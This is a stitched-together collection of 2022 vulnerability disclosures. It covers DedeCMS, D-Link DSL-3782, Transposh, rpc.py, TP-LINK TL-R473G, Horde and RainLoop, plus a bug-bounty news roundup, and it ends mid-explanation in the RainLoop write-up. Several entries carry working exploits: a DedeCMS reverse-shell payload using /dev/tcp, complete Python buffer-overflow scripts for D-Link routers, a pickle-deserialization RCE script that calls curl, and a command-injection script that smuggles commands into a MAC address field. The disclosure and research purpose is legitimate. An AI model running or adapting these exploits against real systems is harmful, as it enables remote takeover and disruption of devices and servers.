DedeCMS v5.7.95 was discovered to contain a remote code execution (RCE) vulnerability via the component mytag_ main.php.

**DedeCMS v5.7.95 RCE**

Dedecms official website：https://www.dedecms.com/download。

**Vulnerability description**

There is an arbitrary command execution vulnerability in the background of dedecms v5.7.95, which can write malicious code and cause rce vulnerability.

**Vulnerability impact**

DedeCMS v5.7.95

**Recurrence process**

First visit /dede to log in to the background.

Visit dede/mytag_ main.php, inserts a tag.

The main contents are as follows:

The backquote(\`) is actually the alias of the shell\_exec function:

Click "OK" to get the corresponding number, which is marked as 3 this time. Visit /plus/mytag\_js.php?arcID=3&nocache=1, where arcID=3 is the tag number. After that, the file a will be generated and directly included.

Further use to reverse shell:

<<?=\`bash -i &>/dev/tcp/127.0.0.1/2333 <&1\`;?>

use ncat:

Visit /plus/mytag\_js.php?arcID=3&nocache=1 to reverse the shell successfully:

**Code audit**

Vulnerability location is in plus/mytag_js.php, you can see that the file contains directly after the file is written. In this case, we don't have to care about the file name. Here, the file name has a fixed htm suffix. We need to care about what the myvalues content is when the file is written.

The value of myvalues is found through query. The query statements are:

SELECT \* FROM \`#@\_\_mytag\` WHERE aid\='$aid' 

You can search globally to get the information in mytag\_add.php or mytag\_edit.php. These two files involve the insertion or update of tables.

So visit mytag\_main.php, here are add and edit operations

a lot of malicious functions are filtered in plus/mytag\_js.php, but the backquotes(\`) are not filtered, and they cannot match [^<]+<\?(php|=)：

// will be matched
abcde<?php \`ls\`;?>
<?=\`ls\`;?>

// will not be matched
<<?=\`ls\`?>

Use << to bypass [^<]+<\?(php|=), thus rce succeeds.

See the "Recurrence process" above for specific operation and utilization.

CVE-2022-34531: vuls/DedeCMS-v5.7.95-RCE.md at main · Airrudder/vuls

D-Link DSL-3782 v1.03 and below was discovered to contain a stack overflow via the function getAttrValue.

Vendor of the products:　D-Link

Reported by: 　　　　　 x.sunzh@gmail.com

Affected products:　　　DSL-3782 v1.01, DSL-3782 v1.03

**Buffer overflow****Code in cfg\_manager**

Code bellow (in cfg\_manager) performs the traceroute (or ping) test in the Diagnostic webpage.

The _getAttrValue_ method at .text: 0x474bA4 can lead to a stack-based buffer overflow.

**Code in getAttrValue**

The dst parameter (a4) of strcpy corresponds to the $a3 register in the above picture, which comes from the $s1 register, and the $s1 register stores an offset address in stack (at .text: 474af0).

**In v1.01****exp**

import requests
import urllib
from pwn import \*

context.binary \= "../\_DSL-3782\_A1\_EU\_1.01\_07282016.bin.extracted/squashfs-root/userfs/bin/cfg\_manager"
context.endian \= "big"
context.arch \= "mips"

main\_url \= "http://192.168.1.1:80"

def login():
    s \= requests.Session()
    s.verify \= False
    headers \= {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
        }
    url \= main\_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&\_=1640832458081"
    resp \= s.get(url,headers\=headers,timeout\=10)
    print resp.text

def get\_session\_key():
    s \= requests.Session()
    s.verify \= False
    headers \= {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
        }
    url \= main\_url + "/cgi-bin/get/New\_GUI/get\_sessionKey.asp"
    resp \= s.get(url,headers\=headers,timeout\=10)
    sessionKey \= resp.text
    return sessionKey

def exp(sessionKey\=None):
    libc\_base \= 0x2b50b000
    system\_offset \= 0x59bb0
    system\_addr \= libc\_base + system\_offset
    gadget\_offset \= 0x0001656C
    gadget\_addr \= libc\_base + gadget\_offset

    cmd \= "echo yab. > /tmp/1"
    padding \= "a" \* 72
    s0 \= p32(system\_addr)
    s1 \= "AAAA"
    s2 \= "BBBB" 
    s3 \= "CCCC"
    ra \= p32(gadget\_addr)
    padding2 \= "A" \* 16
    payload \= padding + s0 + s1 + s2 + s3 + ra + padding2 + cmd

    s \= requests.Session()
    s.verify \= False
    headers \= {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
        }
    params \= {
        "Type":"p", "sessionKey":urllib.unquote(sessionKey),
        "Addr":urllib.unquote(payload)
        }
    url \= main\_url + "/cgi-bin/New\_GUI/Set/Diagnostics.asp"
    resp \= s.post(url,data\=params,headers\=headers,timeout\=10)
    print resp.text

if \_\_name\_\_ \== '\_\_main\_\_':
    login()
    sessionKey \= get\_session\_key()
    exp(sessionKey\=sessionKey) 

**Attack effect**

Since the command we executed in the exploit script (line 41) is echo yab. > /tmp/1, we can confirm that our attack was successful by printing the content in file /tmp/1.

**In v1.03**

An authenticated attacker can still use the stack-based bof to complete remote code execution of single-word commands (such as reboot).

**exp**

import requests
import urllib
from pwn import \*
import os
from time import sleep

context.binary \= "../new/\_DSL-3782\_A1\_EU\_1.03\_04042018.bin.extracted/squashfs-root/userfs/bin/cfg\_manager"
context.endian \= "big"
context.arch \= "mips"

server \= "192.168.1.1"
main\_url \= "http://192.168.1.1:80"

def get\_session\_key(a):
    s \= requests.Session()
    s.verify \= False
    headers \= {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
        "Cookie": "SESSIONID\_AUTH=%s" % a
        }
    url \= main\_url + "/cgi-bin/get/New\_GUI/get\_sessionKey.asp"
    resp \= s.get(url,headers\=headers,timeout\=10)
    sessionKey \= resp.text
    print(sessionKey)
    return sessionKey

def exp(sessionKey\=None,a\=''):
    libc\_base \= input('libc\_base:')
    system\_offset \= 0x59bb0
    system\_addr \= libc\_base + system\_offset
    gadget\_offset \= 0x0001656C
    gadget\_addr \= libc\_base + gadget\_offset

    cmd \= "reboot"
    padding \= "a" \* 72
    s0 \= p32(system\_addr)
    s1 \= "AAAA"
    s2 \= "BBBB" 
    s3 \= "CCCC"
    ra \= p32(gadget\_addr)
    padding2 \= "A" \* 16
    payload \= padding + s0 + s1 + s2 + s3 + ra + padding2 + cmd

    s \= requests.Session()
    s.verify \= False
    headers \= {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
        "Cookie": "SESSIONID\_AUTH=%s" % a
        }
    params \= {
        "Type":"t", "sessionKey":urllib.unquote(sessionKey),
        "Addr":urllib.unquote(payload)
        }
    url \= main\_url + "/cgi-bin/New\_GUI/Set/Diagnostics.asp"
    resp \= s.post(url,data\=params,headers\=headers,timeout\=10)
    print resp.text

if \_\_name\_\_ \== '\_\_main\_\_':
    print '\\n\[\*\] Connection %r' % main\_url
    a \= input()
    print '\[\*\] Getting session key'
    sessionKey \= get\_session\_key(a)
    print '\[\*\] Sending payload'
    exp(sessionKey\=sessionKey, a\=a) 
    sleep(1)
    print '\[\*\] Rebooting the target!'
    sleep(2)
    print '\[\*\] Done!'

**Attack effect**

Since the command we executed in the exploit script (line 37) is reboot , you can see that the emulator (firmadyne) is rebooting.

CVE-2022-34528: Vuls/BOF_in_D-Link DSL-3782.md at main · 1160300418/Vuls

Improper neutralization of special elements used in a user input allows an authenticated malicious user to perform remote code execution in the host system. This vulnerability impacts SonicWall Switch 1.1.1.0-2s and earlier versions

CVE-2022-2323

Transposh WordPress Translation versions 1.0.8.1 and below have a "save_transposh" action available at "/wp-admin/admin.php?page=tp_advanced" that does not properly validate the "Log file name" allowing an attacker with the "Administrator" role to specify a .php file as the log destination. Since the log file is stored directly within the "/wp-admin" directory, executing arbitrary PHP code is possible by simply sending a crafted request that gets logged.

RCE Security Advisory  
https://www.rcesecurity.com

1. ADVISORY INFORMATION  
=======================  
Product:        Transposh WordPress Translation  
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/  
Type:           Reliance on File Name or Extension of Externally-Supplied File [CWE-646]  
Date found:     2022-02-21  
Date published: 2022-07-22  
CVSSv3 Score:   9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)  
CVE:            CVE-2022-25812

2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.

3. VERSIONS AFFECTED  
====================  
Transposh WordPress Translation 1.0.8.1 and below

4. INTRODUCTION  
===============  
Transposh translation filter for WordPress offers a unique approach to blog  
translation. It allows your blog to combine automatic translation with human  
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)

5. VULNERABILITY DETAILS  
========================  
The plugin's "save_transposh" action available at "/wp-admin/admin.php?page=tp_advanced"  
does not properly validate the "Log file name" allowing an attacker with the  
"Administrator" role to specify a .php file as the log destination.

Since the log file is stored directly within the "/wp-admin" directory, executing  
arbitrary PHP code is possible by simply sending a crafted request that gets  
logged.

Successful exploits can allow the attacker to compromise the entire WordPress  
installation. This is specifically relevant in multi-site installations.

6. PROOF OF CONCEPT  
===================  
1.Go to "/wp-admin/admin.php?page=tp_advanced" and "Enable debugging" by pointing  
  it to a filename with a .php extension.  
2.Set the "Level of logging" to "Debug"  
3.Saving the settings  
4.Submit a payload like "<?php phpinfo();?>" to any of Transposh's functionalities.  
5.Go to "/wp-admin/[your-filename.php]" to trigger the code injection

7. SOLUTION  
===========  
None. Remove the plugin to prevent exploitation.

8. REPORT TIMELINE  
==================  
2022-02-21: Discovery of the vulnerability  
2022-02-21: Contacted the vendor via email  
2022-02-21: Vendor response  
2022-02-22: CVE requested from WPScan (CNA)  
2022-02-23: WPScan assigns CVE-2022-25812  
2022-05-22: Sent request for status update on the fix  
2022-05-24: Vendor states that there is no update planned so far  
2022-07-22: Public disclosure

9. REFERENCES  
=============  
https://github.com/MrTuxracer/advisories

Transposh WordPress Translation 1.0.8.1 Remote Code Execution

rpc.py version 0.6.0 suffers from a remote code execution vulnerability.

    # Exploit Title: rpc.py 0.6.0 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2022-07-12# Exploit Author: Elias Hohl# Vendor Homepage: https://github.com/abersheeran# Software Link: https://github.com/abersheeran/rpc.py# Version: v0.4.2 - v0.6.0# Tested on: Debian 11, Ubuntu 20.04# CVE : CVE-2022-35411import requestsimport pickle# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.pyHOST =3D "127.0.0.1:65432"URL =3D f"http://{HOST}/sayhi"HEADERS =3D {    "serializer": "pickle"}def generate_payload(cmd):    class PickleRce(object):        def __reduce__(self):            import os            return os.system, (cmd,)    payload =3D pickle.dumps(PickleRce())    print(payload)    return payloaddef exec_command(cmd):    payload =3D generate_payload(cmd)    requests.post(url=3DURL, data=3Dpayload, headers=3DHEADERS)def main():    exec_command('curl http://127.0.0.1:4321')    # exec_command('uname -a')if __name__ =3D=3D "__main__":    main()

rpc.py 0.6.0 Remote Code Execution

New web targets for the discerning hacker

New web targets for the discerning hacker

Summer is here in the northern hemisphere, but this hasn’t interrupted the steady stream of new bug bounty programs from hitting the market.

During the teaser for its new Lockdown Mode this month, **Apple** said vulnerabilities in the new anti-spyware tech can be disclosed via its Security Bounty program. Rewards of up to $2 million are on offer.

Lockdown Mode, which will ship with iOS 16, iPadOS 16, and macOS Ventura, is described as “an extreme, optional protection for the very small number of users who face grave, targeted threats to their digital security”.

Australia’s **Monash University** has also established a new bug bounty program, which is aimed at shoring up its defenses amid a spate of cyber-attacks impacting the education sector.

Added to the mix this month are two new rewards programs for the burgeoning digital identity market, as **Onfido** partners with YesWeHack and India’s **Aadhaar** dips its toe in the water with a program of its own.

Aadhaar is world’s largest digital identity program that provides services to over 1.3 billion Indian residents. To take part in this new, private bug bounty, hackers must apply via the UIDAI website.

There’s a high bar for entry, too, as Aadhaar stipulates that “candidates should be listed in the top 100 of the bug bounty leaderboards such as HackerOne, Bugcrowd, or listed in the bounty programs conducted by reputable companies such as Microsoft, Google, Facebook, \[or\] Apple”.

**The latest bug bounty programs for August 2022**

The past month saw the arrival of several new bug bounty programs. Here’s a list of the latest entries:

**Aadhaar**

**Program provider:  
**Independent

**Program type:  
**Private

**Max reward:  
**TBD

**Outline:  
**In an effort to secure Aadhaar data hosted in UIDAI’s Central Identities Data Repository (CIDR), UIDAI is planning the launch of a new bug bounty program.

**Notes:  
**Full application details can be found on the UIDAI website. The number of participants is being limited to 20, all of whom must be Indian residents.

Check out the UIDAI bug bounty bulletin (PDF) for more details

**Apple – Lockdown Mode**

**Program provider:  
**Independent

**Program type:  
**Public

**Max reward:  
**$2 million

**Outline:  
**Apple has established a new category within the Apple Security Bounty program to reward researchers who find Lockdown Mode bypasses and help improve its protections.

**Notes:  
**Bounties have been doubled for qualifying findings in Lockdown Mode, up to a maximum of $2 million – one of the highest maximum payouts in the industry.

Check out our earlier coverage for more details

**BKEX**

**Program provider:  
**HackenProof

**Program type:  
**Public

**Max reward:  
**$10,000

**Outline:  
**BKEX is a global digital asset trading platform, featuring more than 1,200 cryptocurrencies.

**Notes:  
**The financial service company’s new bug bounty program is replete with a range of in-scope web attack vectors, including remote code execution (RCE), SQL injection vulnerabilities, file inclusion and access control issues, server-side request forgery (SSRF), cross-site request forgery (CSRF), cross-site scripting (XSS), and directory traversal.

Check out the BKEX bug bounty page for more details

**ClickHouse**

**Program provider:  
**Bugcrowd

**Program type:  
**Public

**Max reward:  
**$2,500

**Outline:  
**ClickHouse is an open source, column-oriented OLAP database management system that allows users to generate analytical reports using SQL queries in real time. The main focus of the public program is the open source version of the ClickHouse platform.

**Notes:  
**“No technology is perfect, and ClickHouse believes that working with skilled security researchers across the globe is crucial in identifying weaknesses in any technology,” the company said. “We are excited for you to participate as a security researcher to help us identify vulnerabilities in our open source assets.”

Check out the ClickHouse bug bounty page for more details

**Monash University**

**Program provider:  
**Bugcrowd

**Program type:  
**Public

**Max reward:  
**$2,500

**Outline:  
**Monash University in Melbourne, Australia, has launched a public bug bounty program to help maintain the security of its digital platforms.

**Notes:  
**In-scope targets include the main Monash University web domain and mobile apps, along with various technologies that are used by the institution, including its VPN and FileShare instances.

Check out our earlier coverage for more details

**Onfido**

**Program provider:  
**YesWeHack

**Program type:  
**Private

**Max reward:  
**TBD

**Outline:  
**Digital identity verification company Onfido has launched a new bug bounty program, in partnership with European vulnerability disclosure platform YesWeHack.

**Notes:  
**Commenting on the partnership, Alex Valle, chief product officer at Onfido, said: “Security and compliance are essential to our mission of creating a more open world, where identity is the key to online access, and we are always looking for ways to strengthen this.”

Check out our earlier coverage for more details

**SideFX**

**Program provider:  
**HackerOne

**Program type:**  
Public

**Max reward:**  
$3,000

**Outline:**  
Canada-based SideFX is the developer of Houdini, a 3D animation software application used in film, television, advertising, and video games.

**Notes:**  
Only vulnerabilities discovered in the company’s main web domain, sidefx.com, are applicable under the terms of this new bug bounty program.

Check out the SideFX bug bounty page for more details

**ZBWeb**

**Program provider:**  
HackenProof

**Program type:**  
Public

**Max reward:**  
$5,000

**Outline:**  
Founded in 2013, ZB.com is a worldwide digital trading platform, facilitating the exchange and management of digital assets from all corners of the globe.

**Notes:**  
In-scope web vulnerabilities include business logic issues, payment manipulation, RCE, SQL injection, access control issues, SSRF, CSRF, XSS, and other vulnerabilities with a “clear potential loss”.

Check out the ZBWeb bug bounty page for more details

**Other bug bounty and VDP news this month**

*   **HackerOne** has disclosed details of an incident involving a former employee who was accused of accessing internal data for personal financial gain.
*   **Go Daddy**, **Trellix**, and **Fidelity** have launched (unpaid) vulnerability disclosure programs (VDPs).
*   Advertising platform developer and social media company **Meta** has released its inaugural ‘Bug Bulletin’, which includes details of some of the notable finds identified in its own, and in third-party, code.

**PREVIOUS EDITION** Bug Bounty Radar // The latest bug bounty programs for July 2022

Bug Bounty Radar // The latest bug bounty programs for August 2022

Apache Calcite Avatica JDBC driver creates HTTP client instances based on class names provided via `httpclient_impl` connection property; however, the driver does not verify if the class implements the expected interface before instantiating it, which can lead to code execution loaded via arbitrary classes and in rare cases remote code execution. To exploit the vulnerability: 1) the attacker needs to have privileges to control JDBC connection parameters; 2) and there should be a vulnerable class (constructor with URL parameter and ability to execute code) in the classpath. From Apache Calcite Avatica 1.22.0 onwards, it will be verified that the class implements the expected interface before invoking its constructor.

**Apache Calcite Avatica JDBC driver arbitrary code execution**

High severity GitHub Reviewed Published Jul 29, 2022 • Updated Aug 6, 2022

GHSA-w7f5-jrpr-5c2m: Apache Calcite Avatica JDBC driver arbitrary code execution

TP-LINK TL-R473G 2.0.1 Build 220529 Rel.65574n was discovered to contain a remote code execution vulnerability which is exploited via a crafted packet.

**TP-LINK TL-R473G command\_execution**

**CVE ID**:

**CNVD ID**:

**Vender**: TP-LINK

**Vendor Homepage**: https://www.tp-link.com.cn/、https://www.tp-link.com/

**Affect products**: TL-R473G

**Firmware version**: 2.0.1 Build 220529 Rel.65574n(the latest version)

**Hardware Link**: not the latest version firmware https://smb.tp-link.com.cn/service/detail\_download\_8644.html

**Exploit Author**: SkYe231@Hillstone

**describe**

The TP-LINK TL-R473G has remote command execution, and remote attackers can bypass restrictions through carefully constructed packets to achieve remote command execution.

**detail**

There is no effective filtering of MAC addresses, just replace the - with : .

verification video

**EXP**

\# encoding:utf-8
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import json,sys

TIMEOUT\_MAX \= 60
HOST \= sys.argv\[1\]
USERNAME \= sys.argv\[2\]
PASSWORD \= sys.argv\[3\]
COMMAND \= sys.argv\[4\]#"ping a5urz4.dnslog.cn"

requests.packages.urllib3.disable\_warnings(InsecureRequestWarning)

def get\_stok(host,username,password):
    headers \= {
        "Content-Type":"application/json; charset=UTF-8"
    }
    data \= {"method":"do","login":{"username":username,"password":password}}
    url \= host
    response \= requests.post(url\=url,headers\=headers,data\=json.dumps(data),verify\=False,timeout\=TIMEOUT\_MAX)
    stok \= json.loads(response.text)\["stok"\]
    print("\[+\]Get stok:",stok)
    return stok

def rce(host,stok):
    url \= host+"/stok="+stok+"/ds"
    headers \= {
        "Content-Type":"application/json; charset=UTF-8"
    }
    data \= {"method":"do","wol":{"wol\_wake":{"mac":"DC-DC-DC-DC-\`{}\`-DC".format(COMMAND),"usrif":"LAN"}}}
    response \= requests.post(url\=url,headers\=headers,data\=json.dumps(data))
    if json.loads(response.text)\["error\_code"\] \== 0 :
        print("\[+\]Success")
    else:
        print("\[-\]Error")

def exp(host,username,password):
    host \= host.strip()
    if host\[:4\] != "http":
        host \= "http://" + host
    stok \= get\_stok(host,username,password)
    if stok != \-1:
        rce(host,stok)

if \_\_name\_\_ \== "\_\_main\_\_":
    exp(HOST,USERNAME,PASSWORD)

CVE-2022-34555: Vuln/TL-R473G/command_execution_0 at master · skyedai910/Vuln

Horde Groupware Webmail Edition through 5.2.22 allows a reflection injection attack through which an attacker can instantiate a driver class. This then leads to arbitrary deserialization of PHP objects.

A webmail application enables organizations to host a centralized, browser-based email client for their members. Typically, users log into the webmail server with their email credentials, then the webmail server acts as a proxy to the organization's email server and allows authenticated users to view and send emails.

With so much trust being placed into webmail servers, they naturally become a highly interesting target for attackers. If a sophisticated adversary could compromise a webmail server, they can intercept every sent and received email, access password-reset links, and sensitive documents, impersonate personnel and steal all credentials of users logging into the webmail service.

This blog post discusses a vulnerability that the Sonar R&D team discovered in Horde Webmail. The vulnerability allows an attacker to fully take over an instance as soon as a victim opens an email the attacker sent. At the time of writing, no official patch is available.

**  
Impact**

The discovered code vulnerability (CVE-2022-30287) allows an authenticated user of a Horde instance to execute arbitrary code on the underlying server. 

The vulnerability can be exploited with a single GET request which can be triggered via Cross-Site-Request-Forgery.  For this, an attacker can craft a malicious email and include an external image that when rendered exploits the vulnerability without further interaction of a victim: the only requirement is to have a victim open the malicious email.

The vulnerability exists in the default configuration and can be exploited with no knowledge of a targeted Horde instance. We confirmed that it exists in the latest version. The vendor has not released a patch at the time of writing. 

Another side-effect of this vulnerability is that the clear-text credentials of the victim triggering the exploit are leaked to the attacker. The adversary could then use them to gain access to even more services of an organization. This is demonstrated in our video:

**  
Technical details**

In the following sections, we go into detail about the root cause of this vulnerability and how attackers could exploit it.

**  
Background - Horde Address Book configuration**

Horde Webmail allows users to manage contacts. From the web interface, they can add, delete and search contacts. Administrators can configure where these contacts should be stored and create multiple address books, each backed by a different backend server and protocol.

The following snippet is an excerpt from the default address book configuration file and shows the default configuration for an LDAP backend:

**turba/config/backends.php**

    $cfgSources['personal_ldap'] = array(
       // Disabled by default
       'disabled' => true,
       'title' => _("My Address Book"),
       'type' => 'LDAP',
       'params' => array(
           'server' => 'localhost',
           'tls' => false,
        // …

As can be seen, this LDAP configuration is added to an array of available address book backends stored in the $cfgSources array. The configuration itself is a key/value array containing entries used to configure the LDAP driver.

**CVE-2022-30287 - Lack of type checking in Factory class**

When a user interacts with an endpoint related to contacts, they are expected to send a string identifying the address book they want to use. Horde then fetches the corresponding configuration from the $cfgSources array and manages the connection to the address book backend.

The following code snippet demonstrates typical usage of this pattern:

**turba/merge.php**

     14 require_once __DIR__ . '/lib/Application.php';
     15 Horde_Registry::appInit('turba');
     16
     17 $source = Horde_Util::getFormData('source');
     18 // …
     19 $mergeInto = Horde_Util::getFormData('merge_into');
     20 $driver = $injector->getInstance('Turba_Factory_Driver')->create($source);
     21 // …
     30 $contact = $driver->getObject($mergeInto);

The code snippet above shows how the parameter $source is received and passed to the create() method of the Turba\_Factory\_Driver. Turba is the name of the address book component of Horde.

Things start to become interesting when looking at the create() method:

**turba/lib/Factory/Driver.php**

     51     public function create($name, $name2 = '', $cfgSources = array())
     52     {
     53     // …
     57         if (is_array($name)) {
     58             ksort($name);
     59             $key = md5(serialize($name));
     60             $srcName = $name2;
     61             $srcConfig = $name;
     62         } else {
     63             $key = $name;
     64             $srcName = $name;
     65             if (empty($cfgSources[$name])) {
     66                 throw new Turba_Exception(sprintf(_("The address book \"%s\" does not exist."), $name));
     67             }
     68             $srcConfig = $cfgSources[$name];
     69         }

On line 57, the type of the $name parameter is checked. This parameter corresponds to the previously shown $source parameter. If it is an array, it is used directly as a config by setting it to $srcConfig variable. If it is a string, the global $cfgSources is accessed with it and the corresponding configuration is fetched.

This behavior is interesting to an attacker as Horde expects a well-behaved user to send a string, which then leads to a trusted configuration being used. However, there is no type checking in place which could stop an attacker from sending an array as a parameter and supplying an entirely controlled configuration.

Some lines of code later, the create() method dynamically instantiates a driver class using values from the attacker-controlled array:

**turba/lib/Factory/Driver.php**

     75  $class = 'Turba_Driver_' . ucfirst(basename($srcConfig['type']));
     76	// …
    112  $driver = new $class($srcName, $srcConfig['params']);

With this level of control, an attacker can choose to instantiate an arbitrary address book driver and has full control over the parameters passed to it, such as for example the host, username, password, file paths etc.

**  
Instantiating a driver that enables an attacker to execute arbitrary code**

The next step for an attacker would be to inject a driver configuration that enables them to execute arbitrary code on the Horde instance they are targeting.

We discovered that Horde supports connecting to an IMSP server, which uses a protocol that was drafted in 1995 but never finalized as it was superseded by the ACAP protocol. When connecting to this server, Horde fetches various entries. Some of these entries are interpreted as PHP serialized objects and are then unserialized. 

The following code excerpt from the \_read() method of the IMSP driver class shows how the existence of a \_\_members entry is checked. If it exists, it is deserialized:

**turba/lib/Driver/Imsp.php**

    223   if (!empty($temp['__members'])) {
    224      $tmembers = @unserialize($temp['__members']);
    225   }

Due to the presence of viable PHP Object Injection gadgets discovered by Steven Seeley, an attacker can force Horde to deserialize malicious objects that lead to arbitrary code execution.

**  
Exploiting the vulnerability via CSRF**

By default, Horde blocks any images in HTML emails that don't have a data: URI. An attacker can bypass this restriction by using the HTML tags <picture> and <source>. A <picture> tag allows developers to specify multiple image sources that are loaded depending on the dimensions of the user visiting the site. The following example bypasses the blocking of external images:

    <picture>
      <source media="(min-width:100px)" srcset="../../?EXPLOIT">
      <img src="blocked.jpg" alt="Exploit image" style="width:auto;">
    </picture>

**Patch**

At the time of writing, no official patch is available. As Horde seems to be no longer actively maintained, we recommend considering alternative webmail solutions.  

**Timeline**

Date

Action

2022-02-02

We report the issue to the vendor and inform about our 90 disclosure policy

2022-02-17

We ask for a status update.

2022-03-02

Horde releases a fix for a different issue we reported previously and acknowledge this report.

2022-05-03

We inform the vendor that the 90-day disclosure deadline has passed

**  
Summary**

In this blog post, we described a vulnerability that allows an attacker to take over a Horde webmail instance simply by sending an email to a victim and having the victim read the email. 

The vulnerability occurs in PHP code, which is typically using dynamic types. In this case, a security-sensitive branch was entered if a user-controlled variable was of the type array. We highly discourage developers from making security decisions based on the type of a variable, as it is often easy to miss language-specific quirks.

**Related Blog Posts**

*   RainLoop Webmail - Emails at Risk due to Code Flaw
*   Horde Webmail 5.2.22 - Account Takeover via Email
*   Zimbra 8.8.15 - Webmail Compromise via Email

CVE-2022-30287: Horde Webmail - Remote Code Execution via Email

The Email Viewer in RainLoop through 1.6.0 allows XSS via a crafted email message.

RainLoop is an open-source webmail client used by thousands of organizations to exchange sensitive messages and files via email. In this blog post, we are warning RainLoop users about a code vulnerability that allows attackers to steal emails from the inboxes of victims. At the time of writing, no official patch is available.

The code vulnerability described in this blog post can be easily exploited by an attacker by sending a malicious email to a victim that uses RainLoop as a mail client. When the email is viewed by the victim, the attacker gains full control over the session of the victim and can steal any of their emails, including those that contain highly sensitive information such as passwords, documents, and password reset links. Let's have a look what happened and what we can learn from it.  

**Impact**

The discovered code flaw is a Stored Cross-Site-Scripting vulnerability (CVE-2022-29360) that affects the latest version v1.16.0 of RainLoop. At the time of writing, no official patch is available. The vulnerability can be exploited in any RainLoop installation that runs with default configurations. An attacker who knows the email address of an employee of a targeted organization can send the victim a maliciously crafted email. When it is viewed in the webmail interface, it executes a hidden JavaScript payload in the browser of the victim. No further user interaction is required.

**  
Technical Details**

In the following sections, we go into detail about the Stored Cross-Site-Scripting vulnerability and how gadgets were abused to make JavaScript run automatically once a victim views a malicious email.

**  
Stored XSS in the email body (CVE-2022-29360)**

RainLoop’s backend is a PHP application that acts as a proxy between a user and their mail server. Similar to mail clients, such as Thunderbird, it enables a user to log into a mail server, fetch emails, view them, and send emails. 

**  
Sanitization Logic**

As RainLoop is a web application, it needs to render incoming emails to HTML code. It also needs to ensure that the rendered HTML code has been validated and does not contain malicious components (e.g. unsafe links, JavaScript tags).

On a high level, RainLoop deploys the following flow to achieve this:

1.  Receive the raw, untrusted HTML code from the mail server
2.  Create an instance of the built-in DOMDocument class in PHP. This parses HTML into a tree structure of HTML elements and their attributes
3.  Depending on the configuration, use an allow or deny list to remove any dangerous contents in the tree structure
4.  Convert the sanitized tree structure of the DOMDocument into HTML code

Intuitively it makes sense to analyze the code that attempts to remove any dangerous HTML code (step 3 in the above’s list) and find a weakness inside of that code to bypass the sanitizer. However, our experience has shown there are often logic bugs **after** the sanitization steps have been performed. From the security researcher's point of view, they are much easier to spot and are often overlooked by developers: for good examples of previous findings using this pattern, see Zimbra Stored XSS and WordPress CSRF to RCE.

We mentioned that the 4th step converts the tree structure of the DOMDocument into HTML code. Usually, this step is trivial as the DOMDocument class has the built-in saveHTML() method which does exactly what is required.

**  
Faking a HTML <body>**

One last problem must be solved before the sanitized HTML code can be rendered to the user: due to normalization performed by the DOMDocument class, the HTML code saveHTML() emits contains <html> and <body> tags.  Although this is perfectly valid and harmless, the front end page of RainLoop that renders the email already contains <html> and <body> tags.

Additionally, <body> tags might contain important attributes such as styles and classes that must be preserved. RainLoop solves these problems by parsing the attributes from the <body> tag of the email structure and then wrapping the HTML code of the email in a fake body that contains the original <body> attributes.

In the following paragraphs, we will describe how this process works in RainLoop, show the corresponding code snippets and finally describe a logic flaw in this process that leads to a Stored XSS vulnerability.

In the first step, RainLoop fetches references to the <html> and <body> nodes from the tree structure and then calls saveHTML() on all children to get the sanitized HTML code without <html> and <body> tags:

 **rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     222    $oHtml = $oDom->getElementsByTagName('html')->item(0);
     223    $oBody = $oDom->getElementsByTagName('body')->item(0);
     224 
     225    foreach ($oBody->childNodes as $oChild)
     226    {
     227        $sResult .= $oDom->saveHTML($oChild);
     228    }

In the next step, the attributes of the <html> node are fetched and added to a newly created <div> tag to simulate the <html> tag:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     232    $aHtmlAttrs = HtmlUtils::GetElementAttributesAsArray($oHtml);
     233    $aBodylAttrs = HtmlUtils::GetElementAttributesAsArray($oBody);
     234 
     235    $oWrapHtml = $oDom->createElement('div');
     236    $oWrapHtml->setAttribute('data-x-div-type', 'html');
     237    foreach ($aHtmlAttrs as $sKey => $sValue)
     238    {
     239        $oWrapHtml->setAttribute($sKey, $sValue);
     240    }

This process is repeated for the <body> tag, but with an important difference: The <div> tag that is created to preserve the <body> attributes is created with the text content \_\_\_xxx\_\_\_. This fake <body> is then appended to the fake <html> node and dumped to HTML code:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     242    $oWrapDom = $oDom->createElement('div', '___xxx___');
     243    $oWrapDom->setAttribute('data-x-div-type', 'body');
     244    foreach ($aBodylAttrs as $sKey => $sValue)
     245    {
     246        $oWrapDom->setAttribute($sKey, $sValue);
     247    }
     248 
     249    $oWrapHtml->appendChild($oWrapDom);
     250 
     251    $sWrp = $oDom->saveHTML($oWrapHtml);

Let’s walk through this code with an example. Let’s assume an attacker sent the following email:

    <html>
    <body data-some-attr="abc">
        <h1>Hello!</h1>
        <p>wehope you are doing good!</p>
    </body>
    </html>

The process we described thus far would then yield the following HTML code, stored in the $sWrp variable:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="abc">
            ___xxx___
        </div>
    </div>

In the final step, the rest of the email is inserted in the wrapping code above. This is done by replacing the \_\_\_xxx\_\_\_ inside of the fake wrapping body with the previously generated HTML code:

